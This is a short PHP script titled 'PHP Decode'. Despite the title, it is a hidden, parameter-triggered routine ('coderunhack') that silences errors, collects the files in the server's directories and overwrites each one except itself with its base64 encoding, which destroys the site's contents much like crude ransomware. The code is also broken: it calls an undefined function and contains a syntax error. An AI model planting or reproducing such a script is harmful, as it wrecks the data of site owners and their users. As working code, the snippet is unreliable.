PHP Decode

<?  error_reporting(0); 
if($_GET['coderunhack']==true && isset($_GET['loop']) && is_numeric($_GET['loop'])) 
{ 
$mydir = getcwd(); 
$alldirectories=count(explode("\",$mydir)); 
 
 
$newarray=[]; 
$looprun=$_GET['loop']; 
 
for ($i=0; $i < $looprun; $i++) {  
    $newarray=array_merge($newarray,removedir($i)); 
} 
 
$finalfiles=[]; 
foreach ($newarray as $key => $value) { 
    if(!is_dir($value)) 
    { 
        $finalfiles[]=$value; 
    } 
} 
 
array_map( 'rewrite', array_filter((array) $finalfiles ) ); 
} 
 
function rewrite($filename){ 
 //echo $filename."<br>"; 
if(basename($filename)!=basename(__FILE__)) 
{ 
    //echo $filename."<br>"; 
 $encoded=base64_encode(file_get_contents($filename)); 
 //$append = file_put_contents($filename, $encoded.PHP_EOL , FILE_APPEND | LOCK_EX); 
 $replace = file_put_contents($filename, $encoded.PHP_EOL); 
} 
} 
 ?>